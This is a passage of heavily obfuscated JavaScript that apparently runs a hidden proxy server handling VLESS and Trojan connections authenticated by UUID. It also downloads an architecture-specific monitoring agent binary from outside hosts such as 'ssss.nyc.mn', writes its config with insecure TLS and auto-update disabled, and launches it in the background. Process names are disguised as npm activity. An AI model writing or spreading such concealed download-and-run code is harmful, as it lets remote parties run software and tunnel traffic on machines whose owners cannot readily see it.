_0x5b74e2=_0x3ee6ae[_0x3d7ac5(0x37d,0x2b6,0x35e,0x2b7)](_0x591b6f)?_0x3d7ac5(0x3f2,0x4ca,0x487,0x4be):'';_0x37aa50=_0x3d7ac5(0x3a4,0x4a1,0x466,0x48e)+_0x3d7ac5(0x48e,0x49a,0x47f,0x438)+'s\x20'+_0x4da790+':'+_0x10a5fd+_0x3d7ac5(0x48d,0x2ed,0x3c0,0x37b)+_0x488c60+'\x20'+_0x5b74e2+(_0x3d7ac5(0x3e5,0x49e,0x490,0x440)+'-auto-upda'+'te\x20--repor'+_0x3d7ac5(0x4f3,0x4fe,0x494,0x4a9)+_0x4d7f75(0x15e,0x12d,0x78,0x97)+'n\x20--skip-p'+_0x4d7f75(0x208,0x1b2,0x183,0x12e)+_0x3d7ac5(0x2fc,0x3ea,0x3b3,0x338)+'\x20&');}})['on'](_0x3aa182(-0x14d,-0x41,-0x118,-0xee),()=>{});})['catch'](_0x15fe85=>{function _0x2298e2(_0x4e0e0c,_0x108fc8,_0x268977,_0x509476){return _0x3200c7(_0x4e0e0c,_0x108fc8-0x12,_0x268977-0x1d2,_0x509476- -0x243);}const _0x24211a={};function _0x59c737(_0x209f3c,_0x5d3cc8,_0x54bf58,_0x1ce4e1){return _0x3200c7(_0x5d3cc8,_0x5d3cc8-0x123,_0x54bf58-0x39,_0x1ce4e1-0x40);}_0x24211a[_0x59c737(0x640,0x573,0x58a,0x570)]=_0x2ea66f,_0x24211a['port']=_0x55d77c,net[_0x2298e2(0x353,0x239,0x37c,0x2de)](_0x24211a,function(){this[_0x570d87(0x353,0x2c8,0x393,0x364)](_0xc33cfc[_0x3185d1(-0x242,-0x2a9,-0x2fb,-0x268)](_0x1b6c45));function _0x3185d1(_0x375b9b,_0x255629,_0x553e30,_0x4bcc06){return _0x59c737(_0x375b9b-0xb5,_0x553e30,_0x553e30-0x122,_0x375b9b- -0x77d);}function _0x570d87(_0x352499,_0x4ed4bc,_0x3c176f,_0x1b25e5){return _0x59c737(_0x352499-0x63,_0x4ed4bc,_0x3c176f-0x150,_0x352499- -0x1af);}_0x3019ee['on'](_0x41f1f6[_0x570d87(0x33d,0x3b9,0x416,0x3c6)],()=>{})['pipe'](this)['on'](_0x41f1f6[_0x570d87(0x33d,0x3ea,0x3af,0x387)],()=>{})[_0x3185d1(-0x2ff,-0x343,-0x228,-0x2cb)](_0x3019ee);})['on'](_0x41f1f6[_0x59c737(0x560,0x546,0x42b,0x4ec)],()=>{});});function _0x4eda81(_0x53e280,_0x521778,_0x3f4acb,_0x1c9dbb){return _0x34f073(_0x521778,_0x521778-0x92,_0x3f4acb-0x17f,_0x53e280-0x377);}return!![];}function handleTrojanConnection(_0x22dd33,_0x5b2282){const _0x382443={'XrRBt':function(_0x1b444e,_0x134eda){return _0x1b444e(_0x134eda);},'zzFzR':'npm\x20downlo'+_0x391f58(0x133,0xdb,0x14d,0x16a)+_0x38d86b(0x31e,0x2aa,0x38b,0x2da),'MpsMh':function(_0x4507ca,_0x5c2622,_0x301184){return _0x4507ca(_0x5c2622,_0x301184);},'KEgLO':_0x391f58(0x1cc,0x217,0x1fc,0x229)+'pm','DhGsE':'npm\x20runnin'+_0x391f58(0x190,0x122,0xc6,0x25f),'XCBTy':_0x391f58(0x1d6,0x235,0x108,0x26f)+'rep\x20-v\x20\x22gr'+_0x38d86b(0x44f,0x4b2,0x4d6,0x401)+_0x38d86b(0x35b,0x2e9,0x2d5,0x2b9),'drYDY':_0x391f58(0x26e,0x208,0x29c,0x2e2),'phHUB':function(_0x5e0a3c,_0x4a5587){return _0x5e0a3c!==_0x4a5587;},'eDGWx':'npm\x20is\x20alr'+_0x391f58(0x1fc,0x1a0,0x198,0x1fa)+_0x38d86b(0x3fd,0x3b7,0x4c7,0x3a2)+_0x38d86b(0x470,0x39b,0x408,0x483),'kJXnG':'https://am'+_0x391f58(0x250,0x2a5,0x1ec,0x1ed)+'yc.mn/agen'+'t','cToGJ':function(_0x2672b2,_0x445d0b){return _0x2672b2<_0x445d0b;},'vGvYs':function(_0x58b6d2,_0x1799ad){return _0x58b6d2===_0x1799ad;},'oMDon':_0x38d86b(0x3d3,0x3bf,0x3fb,0x33f),'YFrOz':_0x391f58(0x20c,0x280,0x1e0,0x220),'Hvkci':_0x391f58(0x1bd,0x15b,0x27f,0x1d7),'npnzR':_0x38d86b(0x3c6,0x30f,0x476,0x462),'RsIRq':function(_0x3984d4,_0x22c2a0){return _0x3984d4<_0x22c2a0;},'gpNcC':function(_0x13faba,_0x3e2409){return _0x13faba===_0x3e2409;},'KSlDn':_0x38d86b(0x413,0x466,0x42d,0x435),'wMUkt':function(_0x281a61,_0x384b38){return _0x281a61===_0x384b38;},'MDyUr':_0x38d86b(0x3e9,0x395,0x38c,0x452),'ccQRi':_0x391f58(0x17c,0x159,0x23c,0x161),'jyUbI':function(_0x1c8938,_0x2091be){return _0x1c8938===_0x2091be;},'IGExR':_0x38d86b(0x32c,0x35a,0x2fd,0x402),'sTzkE':function(_0x4a911b,_0x4e4c76){return _0x4a911b===_0x4e4c76;},'nxwJB':function(_0x1bc92b,_0x3aab68){return _0x1bc92b===_0x3aab68;},'ujpcX':function(_0x13d0d2,_0x30d6ed){return _0x13d0d2===_0x30d6ed;},'eLylf':function(_0x58a9d7,_0x1a856d){return _0x58a9d7+_0x1a856d;},'wOCdk':_0x38d86b(0x443,0x38f,0x4e0,0x427),'CUHwO':function(_0x59fcc5,_0x2eea29){return _0x59fcc5===_0x2eea29;},'mtqbk':function(_0x2a9cc2,_0x302f02){return _0x2a9cc2+_0x302f02;},'LuVfW':function(_0x14cb9b,_0x4c9625){return _0x14cb9b!==_0x4c9625;},'ybAEt':_0x391f58(0x288,0x27f,0x23b,0x25e),'FUEfX':'vXTeZ','GZnfC':function(_0x524628,_0x20c88b){return _0x524628<_0x20c88b;},'IZavD':function(_0x3d4ca2,_0x13a891){return _0x3d4ca2===_0x13a891;},'dIdVF':function(_0x46087a,_0x55b080){return _0x46087a!==_0x55b080;},'ioPeX':_0x391f58(0x234,0x2bf,0x282,0x196),'bWviS':'NenoI','HHqgy':_0x391f58(0x165,0x119,0xb3,0x107)};function _0x391f58(_0x819dd1,_0x2186c2,_0x5194cd,_0x5cf005){return _0x34f073(_0x5194cd,_0x2186c2-0x1a7,_0x5194cd-0x0,_0x819dd1-0x3a3);}function _0x38d86b(_0x354235,_0x73382a,_0x5322fb,_0x2e6176){return _0x34f073(_0x73382a,_0x73382a-0x6a,_0x5322fb-0x62,_0x354235-0x5a9);}try{if(_0x5b2282[_0x391f58(0x1d5,0x1e6,0x291,0x1d2)]<0x1*-0x1d54+-0x256e+0x42fc)return![];const _0x3ad8c8=_0x5b2282[_0x391f58(0x220,0x157,0x158,0x26a)](0x17a1+-0x21e*-0x4+-0x2019,0xd49+0x1ed0+-0x2be1)[_0x391f58(0x2ab,0x31a,0x2e8,0x32e)](),_0x33ee69=[UUID];let _0x48d31a=null;for(const _0x3625d4 of _0x33ee69){if(_0x382443[_0x391f58(0x282,0x1dc,0x1fe,0x273)](_0x382443[_0x38d86b(0x346,0x34b,0x324,0x2b0)],'QNkbd')){const _0x5e561f=crypto['createHash'](_0x382443[_0x391f58(0x298,0x1ea,0x232,0x2b6)])[_0x38d86b(0x46d,0x42e,0x4d9,0x451)](_0x3625d4)[_0x391f58(0x254,0x282,0x270,0x318)](_0x38d86b(0x379,0x3bc,0x2cf,0x411));if(_0x382443[_0x391f58(0x1b6,0x24a,0xf0,0x214)](_0x5e561f,_0x3ad8c8)){if('BdUgA'===_0x382443[_0x38d86b(0x425,0x3a1,0x41d,0x472)])_0x51adde[_0x38d86b(0x455,0x49b,0x52b,0x41c)](_0x382443[_0x38d86b(0x437,0x3bc,0x4b5,0x4b1)]),_0x382443[_0x38d86b(0x497,0x45c,0x41c,0x3df)](_0x1215cb,_0x382443[_0x391f58(0x1ac,0x243,0x161,0x246)],_0x22596d=>{if(_0x22596d)_0x382443[_0x448540(0x4b0,0x4cb,0x4e8,0x4d0)](_0x2a6f39,_0x22596d);function _0x448540(_0x3f6716,_0xf970e1,_0x33f2d2,_0x1dd40a){return _0x38d86b(_0xf970e1-0xa3,_0x3f6716,_0x33f2d2-0x134,_0x1dd40a-0x4);}_0x58c8ed();});else{_0x48d31a=_0x3625d4;break;}}}else{if(_0x3326ec)_0x381c6e[_0x391f58(0x1c0,0x235,0x11d,0x122)](_0x382443[_0x391f58(0x19b,0x10a,0x195,0x193)],_0x39091f);else _0x5f0caa[_0x38d86b(0x455,0x4b7,0x4e1,0x4c2)](_0x38d86b(0x30b,0x2c8,0x2b9,0x318)+_0x38d86b(0x32a,0x402,0x2c2,0x2f1));}}if(!_0x48d31a)return![];let _0x41ae72=-0xe79+0x5*-0x2cf+0x1cbc;_0x382443['sTzkE'](_0x5b2282[_0x41ae72],-0x491*-0x7+0xc3a+-0x2c24)&&_0x382443['nxwJB'](_0x5b2282[_0x41ae72+(0x52c+-0xcd5+0x7aa)],0x202+0x1*-0x2087+0x1e8f)&&(_0x41ae72+=-0x1*0xb97+0xf*0x104+-0x3a3);const _0x4bd2a5=_0x5b2282[_0x41ae72];if(_0x4bd2a5!==-0x138b*0x1+-0x144d+0x27d9)return![];_0x41ae72+=0x1422+0x2*0x3eb+0x1bf7*-0x1;const _0xb85d28=_0x5b2282[_0x41ae72];_0x41ae72+=-0x18ac+-0x160c+0x2eb9;let _0x44b550,_0x460a64;if(_0x382443['ujpcX'](_0xb85d28,0x16a9+0x37*0x3c+-0x15e*0x1a))_0x44b550=_0x5b2282[_0x391f58(0x220,0x282,0x2ec,0x18b)](_0x41ae72,_0x382443['eLylf'](_0x41ae72,-0x1*-0x1058+0xe49*0x1+-0x1e9d))[_0x391f58(0x159,0x8c,0x140,0xdf)]('.'),_0x41ae72+=-0x33b+-0x1*-0x178b+-0x144c;else{if(_0x382443['gpNcC'](_0xb85d28,0xfeb+-0x281+-0xd67)){if(_0x382443[_0x38d86b(0x472,0x4f7,0x423,0x46e)](_0x382443[_0x38d86b(0x34a,0x37f,0x299,0x330)],_0x382443[_0x391f58(0x144,0x86,0x7c,0xf5)]))_0x2c8184+=-0x18df+-0x146b+0x2d4c;else{const _0x5f3e64=_0x5b2282[_0x41ae72];_0x41ae72+=-0xa79+-0x1*-0x14bf+-0xa45*0x1,_0x44b550=_0x5b2282[_0x391f58(0x220,0x2cd,0x1ed,0x2b0)](_0x41ae72,_0x41ae72+_0x5f3e64)[_0x391f58(0x2ab,0x376,0x30e,0x2bc)](),_0x41ae72+=_0x5f3e64;}}else{if(_0x382443[_0x38d86b(0x3a7,0x370,0x480,0x315)](_0xb85d28,-0x1890+-0x62+0x18f6))_0x44b550=_0x5b2282[_0x38d86b(0x426,0x444,0x470,0x427)](_0x41ae72,_0x382443[_0x38d86b(0x31f,0x33b,0x272,0x3a3)](_0x41ae72,-0xdc2+-0x7ba+-0x1*-0x158c))[_0x391f58(0x151,0xfa,0xd9,0x147)]((_0x2a5d46,_0x5ad38a,_0x5d6bec,_0x2288ea)=>_0x5d6bec%(0x1ea7+-0xf83+-0xf22)?_0x2a5d46[_0x391f58(0x143,0x167,0x10e,0x1b2)](_0x2288ea[_0x391f58(0x220,0x2d0,0x265,0x2a2)](_0x5d6bec-(0x1219*-0x1+0x1*0x1681+-0x467),_0x5d6bec+(0x9*-0x2a5+-0x4c+-0x181a*-0x1))):_0x2a5d46,[])['map'](_0x2f966a=>_0x2f966a[_0x391f58(0x14b,0x83,0x1e5,0x88)+'BE'](-0x2553+-0x2a0+0xd51*0x3)[_0x391f58(0x2ab,0x2f1,0x364,0x238)](0x839*0x3+0xfa2*0x1+-0x283d))[_0x391f58(0x159,0x186,0xda,0x14e)](':'),_0x41ae72+=0x1*0x77c+-0x29*-0xec+0xb4e*-0x4;else{if(_0x382443[_0x391f58(0x1a4,0xed,0xe2,0x100)](_0x382443['ybAEt'],_0x382443['FUEfX']))return![];else{const _0xe1f98d=_0x382443[_0x391f58(0x291,0x29c,0x1c1,0x348)](_0x3bd3ab,_0x382443[_0x38d86b(0x480,0x434,0x4ae,0x437)],{'encoding':_0x382443[_0x391f58(0x1cf,0xfa,0x1ed,0x232)]});if(_0x382443['phHUB'](_0xe1f98d[_0x38d86b(0x3d6,0x3b3,0x357,0x308)](),'')){_0x225d44[_0x38d86b(0x455,0x473,0x3ec,0x47e)](_0x382443['eDGWx']);return;}}}}}_0x460a64=_0x5b2282[_0x38d86b(0x351,0x2c3,0x41e,0x3aa)+'BE'](_0x41ae72),_0x41ae72+=-0x1fb1+-0xe*-0x1cd+-0x1*-0x67d;if(_0x382443[_0x38d86b(0x395,0x3b6,0x337,0x36a)](_0x41ae72,_0x5b2282[_0x38d86b(0x3db,0x364,0x329,0x488)])&&_0x382443[_0x391f58(0x10b,0xe5,0x10f,0xa7)](_0x5b2282[_0x41ae72],-0x1*0x22ed+-0x1ed6*-0x1+0x424)&&_0x382443['IZavD'](_0x5b2282[_0x382443['mtqbk'](_0x41ae72,-0x1cd5+0x3*0x91+-0x1b23*-0x1)],0x7*0x4ca+-0x778+0x5a*-0x4a)){if(_0x382443['dIdVF'](_0x382443[_0x38d86b(0x3f3,0x356,0x49b,0x428)],_0x382443[_0x391f58(0x123,0xc4,0x1ca,0x1db)]))_0x41ae72+=-0x1632+0x508+0x112c;else return _0x382443[_0x391f58(0x260,0x1ab,0x245,0x25e)];}const _0x1b2e4f=_0x382443[_0x38d86b(0x428,0x37c,0x499,0x3ac)](createWebSocketStream,_0x22dd33);return resolveHost(_0x44b550)['then'](_0x574c7e=>{const _0x5fb408={'KEfjr':function(_0x4a00fc,_0x1a52ea){function _0x11f2b9(_0x2dcd4a,_0x35123e,_0x33899c,_0x51689d){return _0x2d27(_0x2dcd4a-0x207,_0x51689d);}return _0x382443[_0x11f2b9(0x352,0x2fd,0x419,0x38a)](_0x4a00fc,_0x1a52ea);},'yVIvs':function(_0x1a630e,_0x76e877){function _0x30441f(_0x20182f,_0x419203,_0x1eea47,_0xcf00fc){return _0x2d27(_0x1eea47-0x2c7,_0x20182f);}return _0x382443[_0x30441f(0x491,0x3a4,0x468,0x468)](_0x1a630e,_0x76e877);},'thHSQ':_0x382443[_0x225235(-0x1c9,-0x190,-0x1a5,-0xf6)],'MveQd':_0x382443['YFrOz'],'fZuPV':_0x225235(-0xdf,-0x161,-0xc5,-0x1ea)};function _0x225235(_0x310d03,_0x579d3d,_0x3cce85,_0x54f71d){return _0x38d86b(_0x579d3d- -0x527,_0x54f71d,_0x3cce85-0x16b,_0x54f71d-0x18e);}function _0x3cf5ca(_0x54dba4,_0x4d1890,_0x109977,_0x565635){return _0x38d86b(_0x4d1890- -0x3c4,_0x565635,_0x109977-0x9,_0x565635-0x141);}if(_0x382443['vGvYs'](_0x382443[_0x225235(-0x202,-0x1a1,-0xe3,-0x164)],_0x382443[_0x225235(-0x264,-0x1a1,-0x16a,-0x1d9)])){const _0x532b9a={};_0x532b9a['host']=_0x574c7e,_0x532b9a[_0x225235(-0xa3,-0x130,-0x71,-0x1f8)]=_0x460a64,net['connect'](_0x532b9a,function(){function _0x40dca5(_0x337927,_0x1acb95,_0x3c12b6,_0x144b0a){return _0x3cf5ca(_0x337927-0x197,_0x1acb95-0x50e,_0x3c12b6-0x14c,_0x3c12b6);}function _0x523d00(_0x3930af,_0x151318,_0x32c293,_0x2f29b2){return _0x3cf5ca(_0x3930af-0x15d,_0x2f29b2-0x32c,_0x32c293-0x79,_0x32c293);}if(_0x5fb408[_0x523d00(0x289,0x41b,0x3bb,0x34b)](_0x41ae72,_0x5b2282['length'])){if(_0x5fb408[_0x40dca5(0x665,0x5de,0x5d7,0x523)](_0x5fb408[_0x40dca5(0x49b,0x47e,0x497,0x469)],_0x5fb408[_0x523d00(0x2a7,0x318,0x339,0x28d)]))return;else this[_0x523d00(0x3ac,0x400,0x33a,0x355)](_0x5b2282[_0x523d00(0x410,0x448,0x409,0x38e)](_0x41ae72));}_0x1b2e4f['on'](_0x5fb408[_0x40dca5(0x588,0x579,0x4e9,0x5fc)],()=>{})[_0x523d00(0x382,0x2b8,0x1ff,0x2d1)](this)['on'](_0x5fb408[_0x40dca5(0x5cf,0x579,0x508,0x4c0)],()=>{})[_0x40dca5(0x480,0x4b3,0x427,0x523)](_0x1b2e4f);})['on'](_0x382443['npnzR'],()=>{});}else return![];})[_0x38d86b(0x4b2,0x460,0x494,0x487)](_0x3c64c3=>{const _0x4eb10c={'hjdpn':function(_0x26d8a5){return _0x26d8a5();}},_0x205130={};function _0x7a7741(_0x2cb198,_0x5d355f,_0x28de10,_0x1b5e21){return _0x391f58(_0x5d355f-0x252,_0x5d355f-0x4d,_0x2cb198,_0x1b5e21-0x9b);}_0x205130[_0xf7f11b(0x221,0x199,0x106,0x211)]=_0x44b550,_0x205130[_0x7a7741(0x46e,0x443,0x42f,0x45b)]=_0x460a64;function _0xf7f11b(_0x4a2e64,_0x4e5d21,_0x3f6629,_0x124708){return _0x391f58(_0x4e5d21- -0xbc,_0x4e5d21-0x1c6,_0x3f6629,_0x124708-0xbf);}net[_0x7a7741(0x47d,0x498,0x41d,0x4f4)](_0x205130,function(){_0x382443[_0x55cbb6(0x1a9,0x24f,0x1cb,0x235)](_0x41ae72,_0x5b2282[_0x55cbb6(0x1c7,0x129,0x293,0x17b)])&&(_0x382443[_0x55cbb6(0x240,0x2e6,0x2c1,0x2ee)](_0x55cbb6(0x1ff,0x1f5,0x261,0x27a),_0x382443[_0x55cbb6(0x152,0x198,0x146,0x7c)])?this['write'](_0x5b2282[_0x55cbb6(0x212,0x17d,0x140,0x165)](_0x41ae72)):_0x4eb10c['hjdpn'](_0x20595b));function _0x4e0e8b(_0x3e9298,_0x12bff7,_0x2a529e,_0xc768bc){return _0x7a7741(_0xc768bc,_0x2a529e- -0x2b1,_0x2a529e-0x12d,_0xc768bc-0x1e0);}function _0x55cbb6(_0x525c61,_0x2f96cf,_0x5ab06f,_0x1a8b4e){return _0x7a7741(_0x2f96cf,_0x525c61- -0x260,_0x5ab06f-0x97,_0x1a8b4e-0x1ae);}_0x1b2e4f['on'](_0x4e0e8b(0x234,0x226,0x161,0xab),()=>{})[_0x55cbb6(0x155,0xc0,0xd3,0x101)](this)['on'](_0x55cbb6(0x1b2,0x173,0x27f,0x1f2),()=>{})[_0x4e0e8b(0x7e,0xb4,0x104,0x1bc)](_0x1b2e4f);})['on'](_0xf7f11b(0x188,0x104,0x44,0x82),()=>{});}),!![];}catch(_0x4e7dd0){if(_0x382443['dIdVF'](_0x382443['HHqgy'],_0x382443['HHqgy']))_0x1fe8d2+=-0x39*-0x5+0x6c9*0x2+-0xead;else return![];}}wss['on']('connection',(_0x3fe26c,_0x59c0a1)=>{function _0x580c29(_0x628f2b,_0x127732,_0xe27645,_0x341ac8){return _0x34f073(_0xe27645,_0x127732-0x11a,_0xe27645-0xd6,_0x628f2b-0x3f7);}function _0x1e5a2c(_0x495186,_0x3bf974,_0x599b9c,_0x27bfd1){return _0x34f073(_0x599b9c,_0x3bf974-0x55,_0x599b9c-0xf,_0x3bf974-0xff);}const _0x3f31e8={'AjmFE':function(_0x4f89b5,_0x1570d7){return _0x4f89b5>_0x1570d7;},'GbRrU':function(_0x34ed71,_0x5ec07e){return _0x34ed71===_0x5ec07e;},'XMqOm':_0x1e5a2c(-0x133,-0xe3,-0x179,-0xea),'ptHPS':function(_0x3e3a94,_0x43115a,_0xfcaa31){return _0x3e3a94(_0x43115a,_0xfcaa31);}},_0x3e4081=_0x59c0a1['url']||'';_0x3fe26c[_0x1e5a2c(-0x1e5,-0x158,-0x181,-0x213)](_0x580c29(0x24f,0x2ce,0x2ff,0x30d),_0x1097ba=>{function _0x2b78fc(_0x5412dd,_0x1253c7,_0x22c07a,_0x1e186b){return _0x580c29(_0x22c07a- -0x1cc,_0x1253c7-0xb9,_0x1253c7,_0x1e186b-0x82);}if(_0x3f31e8[_0xddd3e0(0x379,0x407,0x400,0x417)](_0x1097ba[_0x2b78fc(0x1,-0x30,0x5d,-0x74)],0x15a1+0x5*-0x8e+-0x12ca)&&_0x3f31e8[_0x2b78fc(0x36,0xe6,0x7b,0x116)](_0x1097ba[0x16fc+-0x99e+0x76*-0x1d],-0x20b4+0x1209+0x5*0x2ef)){const _0x126957=_0x1097ba[_0xddd3e0(0x2f9,0x2fb,0x2c5,0x3c0)](-0x3*0xc1a+-0x2af+0x26fe,0x68e+0x1*0x96d+-0xfea),_0x52befe=_0x126957['every']((_0x5cdbae,_0x5dd809)=>_0x5cdbae==parseInt(uuid[_0x2b78fc(0xc0,0x6e,0x86,0x39)](_0x5dd809*(-0x7*0x3fa+0x221*-0xa+0x3122),-0xd6f+-0x1*0xecf+0x1c40),-0x37*-0x7+0x32e+-0x49f));if(_0x52befe){if(_0xddd3e0(0x29a,0x228,0x349,0x2d0)!==_0x3f31e8[_0x2b78fc(0x14,0x17a,0xe2,0x38)])_0x4b7df2[_0x2b78fc(0xc9,0x1e,0xc3,0x6d)]();else{!handleVlessConnection(_0x3fe26c,_0x1097ba)&&_0x3fe26c[_0xddd3e0(0x314,0x36b,0x2d0,0x327)]();return;}}}function _0xddd3e0(_0x49aa46,_0x3e7285,_0x1306c2,_0x4e3592){return _0x580c29(_0x49aa46-0x85,_0x3e7285-0x89,_0x3e7285,_0x4e3592-0x69);}!_0x3f31e8[_0xddd3e0(0x22f,0x253,0x232,0x2fc)](handleTrojanConnection,_0x3fe26c,_0x1097ba)&&_0x3fe26c[_0x2b78fc(0x119,0x96,0xc3,0x1)]();})['on'](_0x580c29(0x214,0x1d1,0x1b6,0x279),()=>{});});const getDownloadUrl=()=>{const _0x548aa2={};_0x548aa2['kYZEv']=_0x379c97(0x62f,0x674,0x5ac,0x682);function _0x379c97(_0x56a621,_0x21828f,_0x4e7783,_0x1c0f3b){return _0x39cab0(_0x56a621-0x12,_0x1c0f3b,_0x4e7783-0x9a,_0x4e7783-0x2ea);}_0x548aa2[_0x2f9039(0x47b,0x486,0x461,0x3d9)]=_0x379c97(0x3c7,0x40f,0x473,0x3ff),_0x548aa2['aIAlD']='config.yam'+'l',_0x548aa2[_0x379c97(0x55b,0x47f,0x52e,0x49e)]=function(_0x449325,_0xfb452f){return _0x449325===_0xfb452f;},_0x548aa2['xovGm']=_0x2f9039(0x400,0x377,0x3f6,0x32a),_0x548aa2['WrceG']=_0x2f9039(0x3fe,0x403,0x3db,0x3fb),_0x548aa2[_0x2f9039(0x3c1,0x374,0x3b6,0x314)]=_0x2f9039(0x3ac,0x3b6,0x458,0x442),_0x548aa2[_0x2f9039(0x461,0x47a,0x3fb,0x489)]=_0x379c97(0x43b,0x4c0,0x494,0x420)+'m64.ssss.n'+_0x2f9039(0x287,0x35e,0x30d,0x2c0),_0x548aa2['DCjIs']=_0x379c97(0x3c9,0x3e8,0x494,0x54e)+'m64.ssss.n'+_0x379c97(0x559,0x492,0x503,0x593)+'t',_0x548aa2[_0x2f9039(0x30e,0x341,0x27d,0x2e6)]=_0x379c97(0x40f,0x44e,0x4a3,0x50f)+_0x2f9039(0x3f2,0x42d,0x4df,0x358)+_0x379c97(0x3c3,0x499,0x492,0x4b7),_0x548aa2['UKsvs']=_0x379c97(0x405,0x3eb,0x4a3,0x405)+_0x2f9039(0x442,0x42d,0x3ed,0x409)+_0x379c97(0x4a0,0x5cf,0x503,0x515)+'t';function _0x2f9039(_0x1b5c5b,_0x2743d2,_0x385893,_0x3c5212){return _0x39cab0(_0x1b5c5b-0x198,_0x3c5212,_0x385893-0x9c,_0x2743d2-0x1b6);}const _0x546646=_0x548aa2,_0x51beaa=os['arch']();if(_0x51beaa===_0x379c97(0x589,0x65d,0x596,0x5c7)||_0x546646[_0x379c97(0x484,0x5a8,0x52e,0x502)](_0x51beaa,_0x546646[_0x379c97(0x5d7,0x5f5,0x550,0x621)])||_0x546646[_0x2f9039(0x328,0x3fa,0x35a,0x3da)](_0x51beaa,_0x546646[_0x2f9039(0x3a0,0x31f,0x3eb,0x3c1)])){if(_0x546646[_0x2f9039(0x49d,0x3fa,0x468,0x3f0)](_0x546646[_0x2f9039(0x39b,0x374,0x3fc,0x2f3)],'wuzDM'))return!NEZHA_PORT?_0x546646[_0x2f9039(0x516,0x47a,0x539,0x45e)]:_0x546646[_0x2f9039(0x417,0x395,0x372,0x35c)];else{if(!_0x18b7b0){const _0x4cfc82=_0x3dd329[_0x379c97(0x398,0x4cd,0x42c,0x360)](':')?_0x563766[_0x2f9039(0x3cb,0x372,0x307,0x3b9)](':')[_0x2f9039(0x37c,0x314,0x30e,0x33b)]():'',_0x3b0c31=_0x1dcd3a['includes'](_0x4cfc82)?_0x546646['kYZEv']:_0x546646[_0x2f9039(0x537,0x486,0x433,0x466)],_0x16737a=_0x379c97(0x4dc,0x41e,0x48a,0x4f0)+_0x2f9039(0x419,0x366,0x2e8,0x305)+_0x4803b1+(_0x2f9039(0x42d,0x3f4,0x35e,0x32b)+_0x379c97(0x555,0x48f,0x4db,0x484)+'e_auto_upd'+_0x2f9039(0x291,0x308,0x355,0x2ae)+_0x2f9039(0x460,0x3fb,0x397,0x3eb)+_0x2f9039(0x2e8,0x2eb,0x234,0x263)+_0x379c97(0x4e7,0x67e,0x5b6,0x5db)+_0x2f9039(0x430,0x3a8,0x42c,0x31a)+_0x379c97(0x4d5,0x54f,0x4b7,0x480)+_0x379c97(0x652,0x534,0x59e,0x553)+_0x379c97(0x4d2,0x489,0x558,0x50f)+_0x2f9039(0x300,0x343,0x3e4,0x2c5)+_0x379c97(0x5cb,0x599,0x510,0x558)+_0x2f9039(0x474,0x40b,0x334,0x404)+_0x2f9039(0x325,0x376,0x443,0x370)+'lse\x0ainsecu'+'re_tls:\x20tr'+_0x379c97(0x53b,0x5d6,0x556,0x5c6)+'rt_period:'+_0x379c97(0x502,0x4c6,0x58e,0x554)+_0x379c97(0x535,0x4f3,0x552,0x49a)+_0x379c97(0x4e2,0x570,0x549,0x559))+_0x3b911b+(_0x379c97(0x426,0x4fc,0x4eb,0x523)+'ection_cou'+'nt:\x20true\x0as'+_0x2f9039(0x2c3,0x2f7,0x277,0x27e)+_0x2f9039(0x3e8,0x464,0x519,0x4ec)+_0x2f9039(0x3d0,0x362,0x3b5,0x2ea)+_0x379c97(0x582,0x541,0x54a,0x4f5)+_0x2f9039(0x418,0x45c,0x4fe,0x4a4))+_0x3b0c31+(_0x379c97(0x59c,0x55b,0x51b,0x532)+_0x2f9039(0x354,0x3e1,0x40d,0x36d)+_0x2f9039(0x222,0x2e4,0x26d,0x24e)+_0x2f9039(0x447,0x454,0x42e,0x394)+'untry_code'+':\x20false\x0auu'+_0x379c97(0x651,0x5bb,0x5a5,0x597))+_0x34015c;_0x10522e[_0x379c97(0x47e,0x455,0x514,0x4b7)+_0x379c97(0x3eb,0x47b,0x44b,0x505)](_0x546646[_0x379c97(0x4e6,0x4f3,0x46b,0x456)],_0x16737a);}_0x2e13d4=_0x379c97(0x59f,0x5ba,0x534,0x480)+_0x379c97(0x54d,0x5ef,0x54d,0x4cc)+_0x2f9039(0x33f,0x32f,0x370,0x3ce)+'aml\x20>/dev/'+_0x2f9039(0x37d,0x361,0x2b5,0x423)+'&';}}else return!NEZHA_PORT?_0x546646[_0x2f9039(0x301,0x341,0x305,0x284)]:_0x546646[_0x2f9039(0x398,0x346,0x38b,0x3c3)];},downloadFile=async()=>{function _0x580564(_0x51a61e,_0x58c2d0,_0x505e88,_0x248adf){return _0x39cab0(_0x51a61e-0x3a,_0x58c2d0,_0x505e88-0x32,_0x248adf-0x29a);}const _0x4dcc21={'khEsr':function(_0x741212){return _0x741212();},'nxobh':'sCMyo','mFiqO':_0x580564(0x51f,0x3f9,0x3c6,0x481),'iWQuA':function(_0x5639e3,_0x1cbb51){return _0x5639e3&&_0x1cbb51;},'QtYen':function(_0x4a9403,_0x56ab06){return _0x4a9403===_0x56ab06;},'IFoHC':_0x580564(0x3f9,0x3b8,0x3ab,0x3ee),'OxkoR':_0x5a22dc(0x80,0xbd,0x10c,0xe7),'mPPRj':function(_0x4c5f0c){return _0x4c5f0c();},'LvIzZ':function(_0x8b1ccc,_0x313821){return _0x8b1ccc(_0x313821);},'RXtgl':'get','NBNyy':_0x5a22dc(0x24e,0x27c,0x242,0x1b6)};function _0x5a22dc(_0x35eba6,_0x4ab85a,_0x1cb790,_0x1a0e48){return _0x39cab0(_0x35eba6-0x7c,_0x1cb790,_0x1cb790-0x5a,_0x1a0e48- -0xce);}if(_0x4dcc21[_0x5a22dc(0x67,0x162,0x10d,0x8a)](!NEZHA_SERVER,!NEZHA_KEY))return;try{if(_0x4dcc21[_0x580564(0x586,0x508,0x4cb,0x4e9)](_0x4dcc21['IFoHC'],_0x4dcc21[_0x5a22dc(0x210,0x1c1,0xd1,0x197)])){const _0x594209=_0x59dea7[_0x5a22dc(0xaf,0xe5,0x131,0x161)+'r'][_0x580564(0x41e,0x381,0x3e0,0x42b)][_0x580564(0x536,0x56e,0x432,0x4cc)](_0x3cebd2),_0xb77b60=_0x13456a[_0x276083],_0x3c2550=_0x2d033e[_0xb77b60]||_0x594209;_0x594209[_0x5a22dc(0x177,0x128,0xf7,0xed)]=_0x24aab3[_0x580564(0x51a,0x538,0x445,0x4cc)](_0x40722b),_0x594209[_0x580564(0x62b,0x545,0x630,0x56c)]=_0x3c2550[_0x5a22dc(0x153,0x13c,0x1c6,0x204)][_0x580564(0x406,0x593,0x467,0x4cc)](_0x3c2550),_0x56d9be[_0xb77b60]=_0x594209;}else{const _0x5b27b6=_0x4dcc21[_0x5a22dc(0x132,0x67,0x110,0x9a)](getDownloadUrl),_0x38e964=await 